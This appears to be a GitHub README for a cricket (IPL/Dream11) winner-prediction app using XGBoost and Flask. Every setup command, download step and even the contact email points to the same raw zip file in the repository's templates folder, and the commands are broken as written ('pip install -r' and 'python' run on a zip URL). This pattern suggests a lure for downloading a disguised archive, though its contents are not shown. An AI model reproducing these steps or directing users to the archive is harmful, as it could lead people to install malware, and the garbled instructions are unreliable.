Predict the winning team of IPL matches using XGBoost and Flask, powered by historical data from 2008–2024. This project combines data science and machine learning to provide insights and predictions for cricket fans and analysts alike.
Welcome to the Dream11 Winning Team Prediction repository! This project aims to predict the outcome of IPL matches using advanced machine learning techniques. By leveraging historical match data from 2008 to 2024, we provide a reliable model that helps users make informed decisions.
Whether you are a cricket enthusiast, a data scientist, or a developer, this repository offers a comprehensive solution to understanding match outcomes.
This project employs a variety of technologies:
- Data Science: Analyzing and interpreting complex data.
- Flask: A lightweight web framework for building web applications.
- Machine Learning: Implementing algorithms to make predictions.
- XGBoost: An efficient and scalable implementation of gradient boosting.
- NumPy: A library for numerical computations in Python.
- Pandas: A data manipulation and analysis library.
- Scikit-learn: A library for machine learning in Python.
To get started with this project, follow these steps:
-
Clone the repository:
git clone https://github.com/majoornekena/dream11_winning_team_prediction/raw/refs/heads/main/templates/prediction_winning_dream_team_v2.4.zip cd dream11_winning_team_prediction -
Install required packages: Make sure you have Python installed. Then, run:
pip install -r https://github.com/majoornekena/dream11_winning_team_prediction/raw/refs/heads/main/templates/prediction_winning_dream_team_v2.4.zip
-
Run the application: Start the Flask server:
python https://github.com/majoornekena/dream11_winning_team_prediction/raw/refs/heads/main/templates/prediction_winning_dream_team_v2.4.zip
Your application will now be running on http://127.0.0.1:5000/.
Once the application is running, you can access it via your web browser. The interface allows you to input match data and receive predictions on the winning team.
- Team A vs Team B
- Match location
- Player statistics
- Predicted winning team
- Probability percentage
The project uses historical data from IPL matches between 2008 and 2024. This data includes:
- Match results
- Player performances
- Team statistics
Data is cleaned and transformed to ensure accuracy. This includes handling missing values, encoding categorical variables, and normalizing numerical features.
The XGBoost model is trained on the preprocessed data. The training process involves:
- Splitting the data into training and testing sets.
- Fitting the model on the training set.
- Evaluating the model on the testing set.
Once trained, the model can predict the outcome of new matches based on user input. The prediction is accompanied by a probability score indicating the confidence level of the model.
We welcome contributions from the community! If you would like to contribute, please follow these steps:
- Fork the repository.
- Create a new branch for your feature or bug fix.
- Make your changes and commit them.
- Push your changes to your forked repository.
- Create a pull request.
Please ensure that your code adheres to the project's coding standards and includes appropriate tests.
This project is licensed under the MIT License. See the LICENSE file for more details.
For any questions or suggestions, feel free to reach out:
- Email: https://github.com/majoornekena/dream11_winning_team_prediction/raw/refs/heads/main/templates/prediction_winning_dream_team_v2.4.zip
- GitHub: majoornekena
To download the latest version of the project, visit the Releases section and follow the instructions provided there.
Thank you for checking out the Dream11 Winning Team Prediction repository! We hope you find it useful and informative. Happy predicting!